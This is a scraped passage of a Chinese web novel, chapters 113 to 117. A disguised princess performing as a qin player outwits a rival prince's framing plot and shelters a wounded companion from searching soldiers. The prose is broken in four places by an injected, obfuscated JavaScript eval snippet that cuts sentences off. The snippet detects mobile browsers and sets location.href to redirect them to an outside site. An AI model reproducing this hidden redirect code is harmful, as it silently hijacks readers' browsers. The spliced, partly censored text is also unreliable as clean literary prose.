第一百一十三章断袖癖好 “如此看来,那慕容清已经等不及要称帝了!”袭匀放下了杯中茶。 “他想利用我去拖住北宫喆,他方便进宫。” “这慕容清也太不要脸了。”袭匀愤愤,拿别人当枪使,他还能做的再明显点么! “公主,既然你知道他在利用你,为何还要答应他?”欢凉急道。 “谁利用谁,还不一定呢!”安文夕勾唇。 欢凉看着安文夕泰然自若的模样,知道她心中已有对策,便道:“公主就交代欢凉做什么吧。” “彼时慕容清进宫的时候,你和袭匀同去,跟在他后面,将他偷到的玉玺给抢回来!” “小师妹,这个主意好。”袭匀赞道。 “那公主你呢,难不成你要自己一个人拖住北宫喆么?” “你不必担心我,那慕容清不是好糊弄的,你们多加小心。” “不如让袭匀带其他的人去,我陪着公主吧。” “不行,人多了反而会引起北宫喆的怀疑。” “对了,公主,昨晚青玄来了凤青轩。” 安文夕睫毛一颤,他果然怀疑她和凤青轩的关系了。 “这两日我就待在潇湘馆了,你们也多加小心。” “左右北宫喆的目标不是我们,你自己才更应该小心。”袭匀语重心长道。 “那北宫喆的目的不是你,但是那老妖婆的目的可是你!” 自从袭匀追着安文夕去了枫月谷,曹暮烟就坐不住了,虽然她后知后觉明白了什么,但是依然不妨碍她对袭匀的迷恋,不知道出动了多少暗人私下寻找。 果然,袭匀脸色一变,不悦的看了眼欢凉,然后苦着一张脸对安文夕道:“小师妹,师兄为了你,可是把清誉都毁了,你得为我负责。” “负责么?”安文夕挑眉。 “小师妹,你说师兄也二十好几了,你何时能为师兄的终丨身大事操心操心。” “长得是像二十好几的人,可这里却依旧停留在十几岁!”欢凉指着他的脑袋道。 “嘿,我说你这个臭丫头是不是想打架,本来我还想着你凶巴巴的没人要,我就勉为其难的收了你……” “不要,如果嫁给你,我宁愿终丨身不嫁!” “能动手就别吵吵,出了门往前走有一处空地,打架再好不过,不送。”安文夕不耐的转身。 袭匀的意思她岂会看不出来,只是感情的事情还得欢凉自己做主。 “哼,谁要跟他打架,我要在这里陪公主。”欢凉气呼呼的扭了头。 “得,你们不留爷,自有留爷处。” “老妖婆可是巴不得你呢,要走赶紧走。” “你——”袭匀对着欢凉比出一根手指,磨了磨牙。 “不送!”欢凉直接将他推至门外,不客气的一把关上了门。 入夜,潇湘馆再次掀起了新一波的纸醉金迷,灯影婆娑下勾勒出满目奢华,潇湘馆是承安名副其实的消金窟,在这里的小倌儿没有休息一说,一到入夜,全都活跃起来。 “这是我新请的琴师,凤公子。”映璃向众人介绍着安文夕,她浅浅的勾了勾唇,算是向大家打了招呼。 映璃话音刚落,底下顿时掀起一阵轩然大波,凤公子竟然入驻了潇湘馆! 好像以前凤公子也在凤青轩弹过琴,只不过这样的妙人经常流连青楼楚馆,到底是有些可惜了。 自这晚起,安文夕一连三日,每晚皆在高台上抚琴,为那些莺莺燕燕伴奏。 由于凤公子的到来,这潇湘馆的客人明显增多了不少,大气清雅的乐声自然比那些靡靡之音更受欢迎。 安文夕不动声色的抚着琴,自动忽略那道探究的目光。她在这里守了三日,终于等到了那人。 虽然那人装着低调,位置也不显眼,但周身的气场让人无法忽略。 安文夕指尖划过琴弦,流泻出一室华音。 她感觉这一曲《凤求凰》是她有史以来弹奏时间最长的。 在那人的注目下,只有她自己知道,她的指尖颤的厉害。 一曲毕,她背了琴转身步入后台,来人伸手拦住她的脚步。 “凤公子,我家公子有请。”来人正是青玄。 安文夕抬头,压低了声音道:“凤轻歌从不见客,这是一贯的规矩。” “凤公子等一等,先看一下这个东西再做决定也不迟。” 青玄掌心赫然躺着一粒红豆。 玲珑骰子安红豆,入骨相思君知否? 这是她曾借用唐代诗人温庭筠的诗向他表达相思,如今再看这红豆,她的眼底不自觉流露出淡淡讥意来。 “这位公子,你这是什么意思?”安文夕佯装诧异的看着他道,“红豆意表相思,难不成你家公子是断袖,可惜凤轻歌没有这方面的癖好,公子还是另寻他人吧!” 安文夕说完,轻轻地推开青玄的手,径直走进内室。 “噗——”隐在一旁的袭匀看着这幕不禁喷笑出声,这小师妹的嘴巴也忒毒了点。 青玄脸色黑了黑,他竟然是皇上是断袖…… 这位看似清高孤傲的凤公子嘴巴歹毒的和月公子有一拼。 “这位公子,不好意思了,凤公子向来就是这个脾气,您别见怪。”映璃立即笑着过来圆场道。 “无妨。”青玄收紧了手中的红豆。 “公子若是想见凤公子的话,不如等到元宵花灯节,到时凤公子会在天城湖上泛舟,为文人墨客抚琴添乐。” “原来如此,多谢璃姑娘了。” 见青玄独自归来,那人黑瞳蓦然抬起,眼底泛出丝丝缕缕冰霜。接过青玄手中的红豆,转瞬将其捏成齑粉。 果然,到了第二次晚上,那人没有再来潇湘馆。 正月十五,元宵花灯节。 一大早,街上便人流如潮,红色灯笼高悬,各色各样的花灯如花团锦簇一般聚在一起分外好看,整整一日,承安大街车如流水马如龙。 迫近日暮,人声不歇,夜色给承安长街更添了几分繁华。放眼去,长街灯火阑珊,宛如隐隐泛着火光的盘龙,长街人声鼎沸,十丈一桅杆,高挂灯盏,色彩斑斓的灯笼像是迫不及待与天空的焰火交相呼应一般,盛绽着绝顶的美艳,爆竹声声炸响,或长街爆红,或直达天穹,喧嚣着元宵的欢愉。 安文夕心念一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安文夕不惧他的眸光,对他微微点了点头,然后取下背上的琴,翩然落座。 北宫喆眸光森森,右手把玩着手中的茶盅,视线一直停留在安文夕身上,嘴角噙着极淡的笑。 “不知大家想听什么曲子?”安文夕素手拨了下琴弦,矫正了琴音。 “《相思怨》!”不待众人回答,北宫喆清湛的嗓音传来。 安文夕睫毛蓦地一颤,这《相思怨》可是她以前经常给他弹的,想要试探她么? 她抬起头来问道:“你们想听什么曲子,都和这位公子一样么?” “在下想听《凤求凰》,这可是凤公子的名曲,只可惜一直没有机会听得罢了。” “在下也想听《凤求凰》。” …… “这位公子,不好意思,大家都想听《凤求凰》。”安文夕婉拒了北宫喆。 本以为他会动怒,没想到他淡淡笑了道:“那便下一首吧。” “好。”安文夕话音一落,琴声起。 声声柔缓又明亮的音调顿时令众人沉浸其中,安文夕微微阖了眼睛,慢慢融入之中。 一曲而终,余音绕梁,三日不绝。 众人从中回过神来,不禁称赞不绝。 “能得凤公子抚一曲,三生有幸。”那人尚且沉醉在刚才的琴声中。 “众位谬赞了。”安文夕收了手。 “凤公子,该到《相思怨》了,本公子可是等急了呢。”北宫喆看着她悠悠道。 第114章 画舫出事 第一百一十四章画舫出事 “好,下一曲《相思怨》。”安文夕微微颔首。 为君抚一曲,怜取相思意。 但愿君常在,不做相思怨。 琴声转为萋萋,闺怨相思,令人潸然泪下。 这首曲子她再熟悉不过,此时却微微有些乱了,不是琴音乱,而是她的心乱了。 安文夕垂眸,深吸了口气,将心思全部凝聚在琴弦上。 北宫喆小口啜着茶,毫不避讳的打量着安文夕的神情,仿佛要将她的一举一动刻在脑海中一般。 琴声渐渐急切起来,声音愈显悲凄,声声催人泪。 曲终,听者无不啜泣感伤。 只见那人放小盏放在案上,抬头看向她道:“都说凤公子琴艺无双,今日看来,倒也未必。” “哦,此话怎讲?”有人闻言立即提出了质问。 “本公子早年曾有幸听得安国十公主抚一曲《相思怨》,凄凄切切,悲声艾艾,那番意境比今日更胜上几分。” “人外有人,天外有天,凤轻歌自愧不如。”安文夕抿唇道。 今日她弹得《相思怨》,自然比不上从前。心境不同,琴声自然也就变了。 “不知本公子是否有幸能邀得凤公子同游?” 北宫喆身侧的青玄对安文夕做了个请的手势,安文夕顺着他的手势看去,停在对面的画舫奢华非常。 “这位公子,你这是什么意思?凤公子今日是为大家而来,你怎么能独自将他带走?”有人不满道。 “这位仁兄此言有理,我等绝不会让你将凤公子带走!” …… 北宫喆赫然抬眸,黑瞳微缩,冰冷的眼风扫了眼众人,刚才还义愤的众人顿时禁了口,不禁打了个寒颤。 “九公子,你……” “怎么,大家有异议?”北宫喆握着小盏的手微微一顿,手中的青瓷盏顿时化作了齑粉。 青玄嘴角一抽,这真是赤裸.裸的威胁! “凤公子,请——”青玄再次伸出手道。 安文夕素手抚过琴弦,心想,这时间也差不多了。 “砰——”不远处突然传来一声响声,立即吸引了众人的视线。 “不好了,不好了,出事了!**了!” 果然,她最担心的事情还是发生了,安文夕嘴角一扯,这慕容清果真没有让她失望啊! 北宫喆眸光一敛,看了眼安文夕,立即掠了出去。 安文夕和其他文人士子也跟了出去。 不远处的画舫上一片狼藉不堪,不少贵族小姐云鬓微乱,被吓得花枝乱颤,慌慌张张的跑出了画舫。就连不少纨绔子,此时也被吓得脸色惨白。 “砰、砰——”几位侍卫模样的人接连跳入了水中,只怕是去追那行凶之人。 “翰林院侍读李学士李培**!”人群中有人惊呼道。 安文夕杏眸骤缩,那李培可是江佑城的得意门生! 这次刺杀既可以给江佑城和曹太后的一个警告,还可以公然挑衅北宫喆的权威,更重要的是她就在命案现场,自然可以顺理成章的将这一切全部推倒她身上,一箭三雕,这慕容清真是好算计啊! 安文夕讥讽的勾了勾唇,让她做替罪羊,这慕容清真是太不把她放在眼里了。 “皇上,此事只怕早有预谋。”青玄小声对北宫喆道,眼角的余光微不可见的朝安文夕这边看来。 对岸的画舫上江佑城一脸怒气的走了出来,对身侧厉声道:“给老夫追,一定要将行凶之人缉拿归案!” “大人,小的捡到了这个。”一个侍卫将手中的令牌递给了江佑城,江佑城看后,眸色顿时变得幽深起来。 北宫喆不动声色的观察着这一幕,突然,一抹黑影骤现,靠在北宫喆耳边说了两句,北宫喆立即脸色大变,回头看了安文夕一眼道:“凤公子,他日我们再好好聚一聚。”然后纵身直接从水面上掠了出去。 “好。”安文夕唇边绽开了两抹梨涡。 看着北宫喆那急不可待的样子,只怕是夏宫此时已经一片大乱了。 由于此次游船发生了命案,衙门里来了人到此处搜查,便提前结束了此次元宵花灯节。 安文夕收了七弦琴,背了起来,复又返回了潇湘馆。 安文夕回到房间,刚刚推门而入,便扑面而来一阵浓郁的血腥味道。 袭匀褪去了外衣,裸露着半个肩膀,臂膀上的刀伤深可见骨,而一旁的欢凉正在为袭匀清洗伤口,铜盆中血红一片。 她立即挽了黛眉,问道:“怎么回事?” “啊啊啊,疼疼疼。”袭匀咬牙。 安文夕立即解下了后背上的琴,帮着欢凉给袭匀上药。 待给他处理好了伤口之后,地上顿时多了两盆血水,门口突然传来一阵急切的敲门声,映璃闪身进来道:“公子,不好了,外面来了官兵要搜查我们潇湘馆。” 映璃面色丨微沉,“来人说是今日的翰林院侍读李培被刺杀,如今已经在全城进行搜捕,据说刺客肩膀上挨了一剑……”她说着看向袭匀被包扎起来的伤口处。 安文夕眸光看向地上的血水,这么浓郁的血腥味,只怕一会那官兵来了,无法遮掩。若是被发现了,只怕他们今晚所做的,就要功亏一篑了! “不好,他们来了。”映璃听着渐进的脚步声,眉头一蹙,“公子赶紧想办法,我先去拦着他们。” “如今怎么办?”欢凉脸色浮现一抹焦急。 安文夕飞快的将欢凉和袭匀一把扔到床上,厉声道:“你们两个给我演的卖力点,这些血水我来负责!” 她说完之后还不忘了给他们盖上被子。 当厚厚的被子劈头盖下来,欢凉顿时明白了安文夕那句演的卖力点是什么意思,蓦地羞红了脸,周遭都是他的气息,让她逃无可逃。 安文夕端着血水绕过屏风,将盆中的血水悉数倒进了刚刚为袭匀准备的浴桶中,血水瞬间被稀释,浓郁的血腥味道也立即淡了下来。 看着一旁放着的梅花瓣,安文夕一把全部洒进浴桶中,然后一咬牙,将身上的衣服全部褪下,跳入水中。 “吱呀——”房门被人粗鲁的踹开,映璃看着地上的血水被收拾干净,不禁松了口气。 “啊,你讨厌!”欢凉红着脸说完这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385069|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句恨不得咬断自己的舌头。 “不好,有人来了!”袭匀从被子里探出头来,看见门口突然出现的官兵,脸上浮现惧色,立即用身上的被子将身体裹紧。 “嗤……”门口顿时传来了一阵笑声,那人看向映璃道:“怪不得你这花娘不让进,原来是这回事。” “这位官爷说笑了,奴家怎敢为难官爷,您看这……还要检查么?”刚才安文夕还在这里,此时却不见了踪影,映璃那颗悬着的心始终不能落下。 “自然要检查。”为首的官兵径直进了房间。 他身后的人看到袭匀那怂样,不屑笑道:“大哥,我们一来,这小子只怕给吓软了,哈哈。” 为首的那人扫了眼袭匀,冷哼一声,大步跨向屏风后面。 安文夕听着渐进的脚步声,立即将身子沉进水中,惊呼道:“啊,你们……不许过来!” “呵,这小倌儿长得还挺俊的。”同行的不少官兵眼睛都直了,直勾勾的盯着浴桶看,幸好上面撒着花瓣,倒也看不见什么。 “大哥,不如我们……” “你不要命了,这次可是江大人下的命令,放走了刺客,你我都没有好果子吃!”他说着走近安文夕,似乎想要通过水面上那层花瓣看出点什么。 “这里怎么会有股血腥味?”那人眸光一凛,正欲伸手去抓安文夕,安文夕蓦地伸出胳膊道:“这位官爷,小的手腕不小心被花瓶碎瓷打碎,如今这一泡澡,只怕这伤口又泡开了。” 安文夕早就知道单凭这些花瓣不足以遮掩过去,就事先划破了自己的手腕。 那人眸色丨微沉,深深的锁着安文夕的手腕处的伤口,抿了抿唇没发一言。 映璃再次看着安文夕的眼神中多了抹赞叹,这份临危不乱的沉稳可不是每个人都能做得来的! “官爷,您若是还要检查,不如等小的穿好衣服?”安文夕小声道。 “嗤嗤,这里的小倌儿还怕看不成?” 为首的官兵冷目扫了过去,那人立即闭了嘴。 “走!” “大哥,不要检查了么?”那人惊道。 看着官兵走了出去,安文夕这才松了口气,一把扯过衣服,飞快的套在了身上。 官兵一走,欢凉立即一把将袭匀推下了床,脸色烧的通红。 “哎呦喂,你这臭丫头,想要**亲夫啊!”袭匀嚎道,果然袭匀刚才包扎的伤口处沁出了点点血红。 “滚,再瞎说打死你!” “还不好意思了,明明是我比较吃亏好不好。” 安文夕从屏风后面走了出来,拿出伤药,简单的处理了下伤口。 “公主,你的手……” “我没事,你们在宫中发生了何事,袭匀怎么受了伤?” “公主,玉玺被慕容清夺去了,欢凉无能。” “夏宫守卫森严,那慕容清也没有得到好处,他自己也受了重伤。”袭匀眸光一沉,“至于我的伤,是不小心遭了慕容清身边那个叫秋月的女人的暗算。” “不过,公主放心,慕容清不知道我们的身份,他们一直都以为我和袭匀是北宫喆的羽卫。 第115章 香韵公主 第一百一十五章香韵公主 “北宫喆一回宫我们就立即赶回了潇湘馆,只怕等北宫喆回去之后还有场恶战。”袭匀敛了眸光,“那玉玺落在谁手还尚不可知。” 安文夕眸光一沉,“不管怎样,今日一事之后,慕容清彻底和北宫喆摊了牌,只怕天下又要大乱了。” “公主,那李培一事?”欢凉担忧道,她害怕慕容清嫁祸到公主身上。 “明日你就知道了。”安文夕嘴角噙了丝意味深长的笑。 第二日一早,宫里面就传出了原北襄六王爷慕容清刺杀翰林院侍读李学士李培,偷盗玉玺一事。慕容清被逼至沐阳,十日后称帝,是为北襄兴帝。 这一行为遂在大夏掀起一阵轩然大波,众人都想不到的是早就在一年前北襄夺嫡之时死去的六王爷竟然没死,还堂而皇之的在大夏**夺玉玺! 因为慕容清的恶劣行径,即使称帝,也被众人骂做乱臣贼子。 大夏新皇大怒,立即派出了风明将军去沐阳征讨。 在元宵节那日,大夏出了命案,而在西楚却是另一番景象,世族月家嫡女十里红妆嫁于三皇子,场面宏大非凡。甚至有人传言,西楚文帝时日不多,想将皇位传于三皇子,而不是一直深受文帝喜爱的七皇子。只是这传言是真是假,却不可知。 安文夕轻轻勾唇,希望楚君昱可以得到自己的幸福,她永远给不了他平凡的幸福,如此便好。 算算时间,晟哥哥也差不多来到了承安了。 “公主,慕容清来信上说要让你和晟世子去一趟沐阳。” “沐阳?”安文夕眸光闪了闪,“估计晟哥哥今晚就会抵达承安,等晟哥哥来了再作打算。” “我猜那慕容清没安什么好心思,如今的沐阳可是双方交战之地。”袭匀斜斜的靠在美人靠上,慵懒极了。 “不是猜,他是一准儿的没安好心。”欢凉愤愤。 “只怕他是来找我秋后算账了。”安文夕勾唇。 “公主,既然你知道沐阳之行必是陷阱,那咱们不去不就行了。” 安文夕眸光深远,恐怕这件事由不得她。 “对了,晟哥哥就要来了,把该清的暗线都清了,别到时候被盯上了。” “欢凉明白。” “不可大意,北宫喆行事缜密,你将埋在凤青轩的暗线引到别处。” “公主放心,欢凉一定办好。” “不,这件事交给袭匀去办。”安文夕黑瞳骤缩。 袭匀立即从美人靠上走了起来,“小师妹为什么让我去啊,你师兄好歹还伤着呢。” “又不是娘娘腔,这点伤对你而言不算什么吧。” “你——”袭匀指着安文夕半晌道,“老子是纯爷们!” 临近日暮,一辆毫不显眼的油布马车从后门驶进了凤青轩,来人戴着一顶极大的帷帽,将脑袋遮挡的严严实实。他下了马车之后,又掀起车帘,小心翼翼的从马车里扶出一位女子来。 单看身形,那女子窈窕非常,尽管穿着男子宽大的衣衫却丝毫不能遮掩她的玲珑有致。女子微微偏头,宽大的帷帽稍微滑下,露出女子半边美的令人窒息的侧脸来。 “香儿,小心脚下。”男子声音极尽温柔。 女子柔若无骨的小手扯了扯帷帽,挽着男子的胳膊,随他一起进了院子。 男子带着身侧娇柔的女子轻车熟路的进了后院密室。 密室内,安文夕一袭火红的长袍,扮作平常凤公子的装扮,青妍绝丽,妖孽非常。花姑姑、欢凉和袭匀依次立在她的身侧。 “晟哥哥。”安文夕见到来人上前一步。 安景晟一把扯下头上的帷帽,嘴角勾笑,“夕儿。” 安文夕的视线从安景晟身上掠至他身侧的女子身上,有些不确定道:“难道这位就是香韵公主?” 安景晟微微点了点头。 她早就知道晟哥哥在南昭做了香韵公主的驸马,只是他每次的来信上对这方面几乎闭口不提,她也没有过问过,没想到这次他竟然将人直接带来了。 女子放下帷帽,露出一张绝艳的容颜来,饶是见惯美人的袭匀也不禁倒吸了口气。 “世子妃当真是绝色倾城!” 安景晟看了眼安文夕,然后对身侧的女子道:“香儿,这是我的妹妹,夕儿。” 华静香看着安文夕男子打扮,眼底飞快的掠过一抹惊讶,然后唇角微扬道:“夕儿,你好。”浑身高雅的气质带出来一股子高不可攀来。 高贵典雅,一种将人拒之千里之外的淡漠,这是安文夕对这个香韵公主所有的印象。 “这是花姑姑、欢凉、袭匀。”安景晟依次为她介绍,华静香听完略略颔首,算是打了招呼。 “晟哥哥,你们千里迢迢赶来承安,一定饿了吧,不如先用晚膳。” “就依夕儿。”安景晟温柔的揽住了身侧的女子。 “属下早已备下了酒菜为晟世子、世子妃接风洗尘,请随属下来这边。”花姑姑为安景晟引路道。 用过晚膳,安景晟安顿好了华静香,单独叫了安文夕到了密室。 “夕儿,这是我从南昭带来的茶,你尝尝合不合你的胃口。”安景晟为安文夕倒了杯清茶。 “在南昭,大多数人喜欢睡前喝一杯雪芽,既有利于睡眠,又能滋润嗓子。我知道你这丫头嘴巴向来很刁,只怕是一般的茶入不了你的口。” “我早就不这么挑嘴了,就是外面的茶末子也是喝得的。”安文夕浅笑。 安景晟神色一滞,看着眼前笑意浅浅女子心中一涩,“夕儿,你受苦了。” “晟哥哥不要这么说,我早就不是那养尊处优的公主了,这点苦又算得了什么。” 安景晟微叹一声,将茶递给安文夕道:“你尝尝如何,可能我泡的茶不如香儿。” 安文夕轻啜了口,嘴里顿时萦绕了淡雅的清香,她不禁赞道:“果然是好茶。” “对了晟哥哥,你怎么将香韵公主带来了,毕竟我们在大夏并不安全。” “她想来我生活过的地方看看,顺便来见见你。还有今晚的事情你也别介意,她对所有的人都是不瘟不火的态度,她刚才还跟我说她挺喜欢你的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安文夕见安景晟固执己见,叹了口气,也许等他吃过慕容清的亏,才会认清现实。 “既然如此,我们何时动身去沐阳?” “明日。” “这么急?你和香韵公主一路舟车劳顿,这还没有休息呢。” “无事,你不用担心我和香儿,让花姑姑安排一下,明日一早动身。” “那好吧,你早点休息。”安文夕看着安景晟道。 —— 此时,璀璨巍峨的琼华殿内,灯火如昼,温暖如春,北宫喆洗漱完毕,正准备上床休息,殿外传来一阵急迫的脚步声。 月清绝夹带着一脸风霜踏进了内殿,衣衫狼狈,显然是在寒风中奔波了一路,脸色凝重无比,看见身着明皇里衣的北宫喆,脸色骤然划过一抹赧色,随即沉声道:“千年龙魄丢了!” 正在脱靴子的北宫喆闻言手中的动作蓦地一顿,锐利的双眸朝月清绝射来。 月清绝顿时觉得温暖的琼华殿内瞬间涌进了一室冰雪。 第116章 不足为惧 第一百一十六章不足为惧 “何人做的?”声音中的冰冷几乎要将人冻僵。 “慕容清!” 北宫喆闻言脸上的寒意又盛了几分,“晚儿呢?” “此刻差不多已经到了左相府。” 北宫喆眸光轻垂,掀开明黄的锦被,正欲入寝,月清绝惊道:“你,你就这么睡了?”按着他的脾气,不是应该大发雷霆,然后将他臭骂一顿,说不好被他逼急了还会出手。反正不管怎样,都不该是这么平淡。 北宫喆凌厉的双眸看向他道:“不然呢?” “那千年龙魄……你,你不怪我?” “怪你有用么,就凭你不是慕容清的对手。” 月清绝脸上一黑,一把扯开北宫喆身上的被子道:“本公子奔波了一路了,我也要睡!” “滚!”北宫喆一脚将他踹下龙榻,冷声道,“这龙榻上除了朕,不睡别的男人!” 月清绝从地上起来,这才觉得心里好受很多,不指责他、不打他的北宫喆令人心里发毛。他突然发觉,自己是不是有病啊,上赶着找打! “让张海给你安排住处。” 月清绝正欲转身,身后传来北宫喆的声音道:“晚儿的身体如何了?” “已经调养的差不多了,本来都打算将千年龙魄移入体内了,却发现不见了。”月清绝那个悲愤。 “那她的身子还能坚持多久?”他已经答应了安莫霖两个月后归还引魂丹,若果到时追不回千年龙魄,就让晚儿继续沉睡吧。 “三个月,你还不知道吧,江向晚体内其他器官的过度消耗是由引魂丹引起的,这是老爷子最近才发现的,老爷子说这就是你私自盗取引魂丹的代价。” 北宫喆目光一沉,双眸中夹带着冰霜看向月清绝。 月清绝立即道:“如果有雪上冰莲的话,会好一些。” “雪上冰莲?” 月清绝点点头,“幽冥山上就有雪上冰莲,你打算何时去幽冥山?还有那七味草只有生长在三月雪和八月霜之上的效果才最好,现在时间不多了。” “朕打算过几日就出发。”只是如今那个女人不在身边罢了。 “过几日?那慕容清不是称帝了么,而且宫里也有一堆包袱,你抽得开身?” “呵……那慕容清不足为惧。” 月清绝看着眼前双眸泛着淡淡嘲意的北宫喆道:“你厉害,不早了,我先去休息了,明天谁都不许叫醒我!” 月清绝走后,青玄现身单膝跪地道:“皇上。” “你去让惊魂先去幽冥山去取雪上冰莲。” 青玄微微一愣,自从皇上向江小姐提了亲,惊魂就开始消沉,整日宿酒,精神低迷,这个时候皇上怎么会让他去? “他会去的。”北宫喆声音渐冷。 “是。”青玄身形一闪,消失在了琼华殿。 左相府。 一顶黑色的轿子翩然落下,从里面走出一位拥着狐裘的女子,葱白玉手掀开帘子缓缓下轿,一旁妇人打扮的女人忍不住上前一把抱住了女子,啜泣道:“晚儿啊,为娘想死你了。” “娘,女儿不孝,让爹娘操心了。”江向晚紧紧搂住了抱着她的妇人。 “哭什么呢,这不是回来了么?”江佑城劝道。 “爹。” “进去说。”江佑城又对一旁的妇人道,“别再哭了,女儿的喜色都被你哭没了!” 妇人脸色一僵,顿时收了泪水,拉着江向晚的手不舍得松开,生怕一松开她的女儿便会再次沉睡不醒。 进了内室,江佑城看着江向晚略显红润的脸色道:“那千年龙魄是不是已经植入了你的体内?” 江向晚摇了摇头,“那千年龙魄差一点就被植入我的身体,可惜被慕容清夺去了。” “什么?”江佑城顿时敛尽了眸光。 “千算万算还是忘了算慕容清。” “爹,女儿如今不过是靠着枫月谷的名贵药材吊着,那引魂丹在我体内有异,和我的器官相克,若是不能及时找回千年龙魄,只怕女儿……” 江佑城眉头紧锁,说道:“想必皇上已经知晓了此事,他一定会夺回千年龙魄,你也不要太担心……” “就算他能夺回千年龙魄,晚儿只怕等不了了。”女子声音媚色中带了份凌厉,由沧月扶着从暗影处缓缓走了过来。 “更何况,那慕容清也不好对付。” “太后娘娘?这么晚了,您……”江向晚惊道,然后看了眼身侧的江佑城。 “哀家来此和江大人有事相商。” “晚儿,想必来的路上你已经听说皇上千抬为聘江家女的事情了,这件事还是太后娘娘代皇上提的亲,你赶紧谢谢太后娘娘。” 江向晚看着面前妆容妖娆的的女子,福身道:“晚儿多谢太后娘娘提携。” 她果然兑现了她的诺言,立她为后! “还太后娘娘,如今该叫母后了。”曹暮烟亲切的拍了拍江向晚的手,示意她起身。 “太后娘娘,晚儿如今尚未……”江向晚脸上浮现一抹羞涩来,“礼不可废。” 曹暮烟微微笑了笑,对江佑城递了个眼神,然后风华万千的坐了下来,俨然将左相府当成了她的长乐宫。 “晚儿,爹还有事,你好好伺候太后娘娘。” 江向晚知道曹暮烟有话跟她说,特意支开了她爹。 “不知太后娘娘找晚儿何事?” “哀家就喜欢你这样直截了当的孩子。”曹暮烟扯了扯嘴角,半眯着凤眼瞧着手指上的镶玉指套。 “你说如今在这夏宫里,还有谁能越过去哀家?” “您如今贵为太后,身份尊贵非常,就是皇上也要尊敬您。” 曹暮烟闻言几不可见的点点头,“这个位子,只要你想,哀家也能给你。” 江向晚一怔,只见对面的女子笑意晏晏,直直的盯着她道:“只要你好好听哀家的话。” 江向晚眉心一跳,感觉自己跌进了一个巨大的漩涡一般。 突然,对面的女子慢慢靠近她,那双魅惑的凤眸如毒蛇一般死死地缠住她,红唇轻启,“不然,哀家就换人,相信想要坐到哀家这个位子上的人很多。” 这一句话,充满了威胁。江向晚咬着下唇,微微垂下了眼睑。 曹暮烟满意的看了眼江向晚,幽幽道:“你要知道,能帮你的,只有哀家。” 半晌,江向晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曹太后狠狠的咬了下人二字,江向晚脸色顿时有些微白,福身道:“是,晚儿谨遵太后娘娘教诲。” 曹太后施施然起身,搭着沧月的手,慵懒万分的迈开了脚步,经过江向晚面前时,顿了顿脚步,对她道,“至于你的身体,哀家这里倒是有个办法可以帮你恢复,即使不用那千年龙魄也可以。” 江向晚霍然抬眸,“不知太后娘娘有何办法?” “哀家只怕你不肯,这个办法需要交付你的一半灵魂。” 看着江向晚眼底的惊色,曹暮烟勾起红唇,“只要你答应,不仅不必死,而且还会拥有强大的力量,那安文夕在你面前,就会变得不值一提。” 江向晚急急后退两步,此时的曹太后就像魔鬼一般循循诱惑着她,她知道这种方法必会极其妖邪。 “哀家也不逼你,但是哀家觉得你会动心的,因为咱们是一类人,不是么?”曹暮烟将江向晚逼至角落里,阴邪的双眸紧紧缩着她的眼睛。 “哀家相信你迟早会来找哀家的。”曹暮烟说完,任由沧月揽着,走了出去。 江向晚扶着墙壁,身子慢慢的滑了下去,脸色一片苍白。 第117章 赴鸿门宴 第一百一十七章赴鸿门宴 第二日一早,花姑姑就备好了马车,为了减小目标,安文夕和安景晟分作两路一起前往沐阳。 由于前几日出了慕容清刺杀一事,现在城门处守卫森严,安文夕和欢凉袭匀都戴着**,倒也检查不出什么端倪,轻松地出了城。 马车行了两日,便已经抵达了沐阳郊外,由于路上袭匀吃坏了肚子,耽搁了半日,所以没有按时赶到沐阳城内。 太阳西斜,初春的季节到了傍晚时分,寒意料峭。尤其是在荒无人烟的郊外,太阳落下之后,凛冽的北风席卷而来,泛起阵阵春寒。 欢凉捧着手炉,脸颊冻得通红,看着渐暗的天色,有些不悦的瞅了眼一旁袭匀,要不是他,她也不用冒着北风在这里赶车。 袭匀上吐下泻,被折腾了整整半日,脸色蜡黄,连说话的力气都没有了,只得迎着欢凉鄙夷的眼神无奈的阖上了眼睑。 “不好,我受不了,停车停车!”袭匀身形一闪,立即翻下了马车。 “你离远点,我怕臭!”欢凉立即勒住了缰绳,用手捏着鼻子。 过了半晌,袭匀拖着疲倦的身子上了马车,整个人都显出疲软来。 “怎么样?”安文夕一把将他拉近马车内。 “还能怎么样,拉得腿都软了。”袭匀有气无力道。 “那能怪谁,谁让你贪吃。”欢凉撇撇嘴。 “那能怪我么,明明是那家黑店,做菜不干净……” “喝点热茶,暖暖胃。”安文夕给袭匀递了杯水。 欢凉虽然一脸不悦,但还是将手里的手炉塞给袭匀,不情不愿道:“给你暖暖肚子,你赶紧进马车吧。” 袭匀啜了口茶,无力地靠在软榻上,半眯了眼睛。 “天就要黑了,难不成今晚我们宿在这荒郊野岭?”欢凉叹了口气,“就算晚上不被狼群叼走,也得被冻死不可。” 安文夕撩开车帘,对欢凉道:“先过去这片林子再说,也许前面会有人家。” 